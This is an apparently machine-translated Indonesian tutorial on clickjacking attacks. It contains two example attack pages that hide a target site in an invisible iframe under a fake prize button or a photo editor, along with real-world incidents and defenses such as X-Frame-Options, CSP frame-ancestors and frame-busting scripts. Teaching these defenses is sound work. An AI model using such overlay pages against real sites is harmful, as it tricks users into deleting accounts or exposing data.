JavaScript - Serangan Clickjacking
Halo, para pemrogram yang sedang belajar! Hari ini, kita akan mendalam ke dunia menarik dari keamanan web, khususnya fokus pada trik kecil yang licik yang disebut Clickjacking. Jangan khawatir jika Anda baru saja memulai dalam pemrograman – saya akan memandu Anda melalui topik ini secara bertahap, seperti yang telah saya lakukan untuk ribuan murid selama tahun-tahun mengajar. Jadi, mari kita mulai!
Serangan Clickjacking
Imaginilah Anda tentang untuk mengklik video kucing yang lucu, tetapi malah memesan 100 bebek karet. Itu sebenarnya apa yang dilakukan serangan clickjacking – mengelabui Anda untuk mengklik sesuatu yang Anda tak kehendaki.
Clickjacking, juga dikenal sebagai UI redressing, adalah teknik malicios yang digunakan oleh penyerang untuk mengelabui pengguna untuk mengklik sesuatu yang berbeda dari apa yang mereka sadar bahwa mereka mengklik. Ini dapat menyebabkan aksi yang tidak diinginkan, pencurian data, atau bahkan pemasangan malware.
Bagaimana clickjacking bekerja?
Sekarang, mari kitauraikan bagaimana serangan licik ini benar-benar bekerja:
- Penyerang menciptakan halaman web yang tampak tak berbahaya.
- Mereka menyematkan situs target (yang mereka ingin Anda interaksi) dalam iframe yang tak terlihat.
- Halaman penyerang dirancang untuk menutupi sempurna tombol atau tautan situs target.
- Ketika Anda khawatir Anda mengklik halaman penyerang, sebenarnya Anda berinteraksi dengan situs target yang disembunyikan.
Itu seperti trik penunggang bis, tetapi dengan halaman web!
Contoh
Mari kita lihat beberapa contoh kode untuk memahami konsep ini lebih baik. Jangan khawatir jika Anda belum mengerti segalanya – kita akan membongkar ini!
Contoh 1: Clickjacking Dasar
<html>
<head>
<title>Menangkan Hadiah!</title>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
<h1>Klik disini untuk menangkan hadiah!</h1>
<button>KLaim Hadiah</button>
</div>
<iframe id="target_website" src="https://example.com/delete-account"></iframe>
</body>
</html>Dalam contoh ini:
- Kita menciptakan situs penipu yang menjanjikan hadiah.
- Kita sematkan situs target (example.com/delete-account) dalam iframe yang tak terlihat.
- Iframe ditempatkan di atas tombol "KLaim Hadiah".
- Ketika pengguna mengklik tombol, sebenarnya mereka mengklik tombol hapus akun di situs target!
Contoh 2: Clickjacking dengan Drag and Drop
<html>
<head>
<title>Editor Foto</title>
<style>
#target_website {
position:absolute;
width:300px;
height:400px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
<h1>Seret gambar untuk mengedit</h1>
<img src="cute_cat.jpg" draggable="true" ondragstart="drag(event)">
</div>
<iframe id="target_website" src="https://example.com/share-private-data"></iframe>
<script>
function drag(ev) {
ev.dataTransfer.setData("text", ev.target.id);
}
</script>
</body>
</html>Dalam contoh yang lebih maju ini:
- Kita menciptakan antarmuka editor foto palsu.
- Situs target (yang mungkin mengungkapkan data pribadi) disematkan dalam iframe yang tak terlihat.
- Ketika pengguna mencoba menyeret dan meletakkan gambar, mereka mungkin tanpa kehendak berinteraksi dengan situs target, potentially mengungkapkan informasi pribadi.
Insiden Serangan Clickjacking di Dunia Nyata
Clickjacking tidak hanya adalahancaran teoritis. Itu telah digunakan dalam serangan nyata:
- Pada tahun 2008, worm clickjacking menyebar melalui Facebook, membuat pengguna tanpa kehendak mengklik tombol "Like" pada halaman tertentu.
- Pada tahun 2012, peneliti menunjukkan serangan clickjacking pada pasar aplikasi Google Android yang dapat mengelabui pengguna untuk membeli aplikasi tanpa pengetahuan mereka.
- Pada tahun 2017, kerentanan clickjacking ditemukan di Microsoft Outlook Web App, yang secara potensial memungkinkan penyerang untuk membaca email korban.
Insiden ini menunjukkan betapa pentingnya untuk memahami dan mencegah serangan clickjacking.
Tindakan Pencegahan
Sekarang kita tahu bahaya apa, mari kita lihat bagaimana kita dapat melindungi diri dari clickjacking:
| Metode | Deskripsi | Contoh |
|---|---|---|
| X-Frame-Options | Header HTTP yang menghindari halaman untuk ditampilkan dalam iframe | X-Frame-Options: DENY |
| Content Security Policy | Memungkinkan kontrol yang halus terhadap sumber mana yang dapat menyematkan konten Anda | Content-Security-Policy: frame-ancestors 'self' |
| Script Pemecah Frame | JavaScript yang keluar dari iframe | if (top != self) top.location = self.location; |
| Cookies SameSite | Menghindari cookies dikirim dalam permintaan cross-site | Set-Cookie: session=123; SameSite=Strict |
Mari kita lihat contoh sederhana script pemecah frame:
<html>
<head>
<style>html{display:none;}</style>
<script>
if (self == top) {
document.documentElement.style.display = 'block';
} else {
top.location = self.location;
}
</script>
</head>
<body>
<h1>Konten Terlindung</h1>
<p>Halaman ini dilindungi dari clickjacking!</p>
</body>
</html>Skrip ini melakukan hal berikut:
- Awalnya menyembunyikan seluruh halaman.
- Memeriksa apakah halaman adalah jendela paling atas.
- Jika ya, menampilkan konten.
- Jika tidak (yaitu, dalam iframe), keluar dari iframe.
Ingat, keamanan web adalah seperti permainan kucing dan tikus. Sebagai metode baru serangan muncul, kita harus terus memperbarui pertahanan kita. Tetap curiga, terus belajar, dan selalu prioritasakan keamanan dalam perjalanan pengembangan web Anda!
Saya harap panduan ini membantu Anda memahami serangan clickjacking. Ingat, dengan kekuatan coding yang besar datang tanggung jawab besar. Gunakan keterampilan Anda bijaksana, dan selamat coding!
Credits: Image by storyset